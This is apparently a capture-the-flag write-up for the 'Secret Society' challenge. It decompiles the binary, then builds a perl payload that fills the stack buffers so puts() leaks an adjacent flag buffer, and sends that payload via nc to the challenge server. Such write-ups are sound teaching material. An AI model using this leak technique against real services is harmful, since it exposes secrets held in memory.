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Secret Society

Description

Wanna enter the Secret Society? Well you have to find the secret code first!

nc chall.csivit.com 30041

Analysis

Decompile with Ghidra and look at main():

undefined8 main(void)
{
  size_t sVar1;
  undefined8 local_d8 [2];
  undefined4 uStack200;
  undefined auStack196 [108];
  char local_58 [56];
  FILE *local_20;
  char *local_18;
  __gid_t local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  memset(local_58,0,0x32);
  memset(local_d8,0,0x80);
  puts("What is the secret phrase?");
  fgets((char *)local_d8,0x80,stdin);
  local_18 = strchr((char *)local_d8,10);
  if (local_18 != (char *)0x0) {
    *local_18 = '\0';
  }
  sVar1 = strlen((char *)local_d8);
  *(undefined8 *)((long)local_d8 + sVar1) = 0x657261206577202c;
  *(undefined8 *)((long)local_d8 + sVar1 + 8) = 0x6877797265766520;
  *(undefined4 *)((long)&uStack200 + sVar1) = 0x2e657265;
  auStack196[sVar1] = 0;
  local_20 = fopen("flag.txt","r");
  if (local_20 == (FILE *)0x0) {
    printf("You are a double agent, it\'s game over for you.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_58,0x32,local_20);
  printf("Shhh... don\'t tell anyone else about ");
  puts((char *)local_d8);
  return 0;
}

This prompts us for a secret phrase, using a buffer that is only 16 bytes, but it's succeptible to a buffer overflow. What happens when we run it? Create a fake flag.txt and test locally.

kali@kali:~/Downloads$ echo flag > flag.txt
kali@kali:~/Downloads$ ./secret-society
What is the secret phrase?
hello
Shhh... don't tell anyone else about hello, we are everywhere.
kali@kali:~/Downloads$ nc chall.csivit.com 30041
What is the secret phrase?
hello
Shhh... don't tell anyone else about hello, we are everywhere.
kali@kali:~/Downloads$ nc chall.csivit.com 30041
What is the secret phrase?
fooooooo
Shhh... don't tell anyone else about fooooooo, we are everywhere.

It's just printing out our input from local_d8 even though the flag is sitting there in local_58 after the fopen() and fgets() calls. We can overflow the input buffer though to avoid having a null terminator until the beginning of local_58. Then the flag will be read into local_58 and the puts() call on local_d8 should print our input, plus the flag at the very end.

Solution

We have to fill 3 buffers:

  • local_d8 (16 bytes, our input buffer)
  • uStack200 (4 bytes)
  • auStack196 (108 bytes)

That will leave the null terminator at the beginning of local_58. Test locally:

kali@kali:~/Downloads$ perl -e 'print "A"x16 . "B"x4 . "C"x108' | ./secret-society
What is the secret phrase?
Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,flag

That worked, so run it against the remote server to get the flag:

kali@kali:~/Downloads$ perl -e 'print "A"x16 . "B"x4 . "C"x108' | nc chall.csivit.com 30041
What is the secret phrase?
Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,csivit{Bu!!er_e3pl01ts_ar5_5asy}

The flag is:

csivit{Bu!!er_e3pl01ts_ar5_5asy}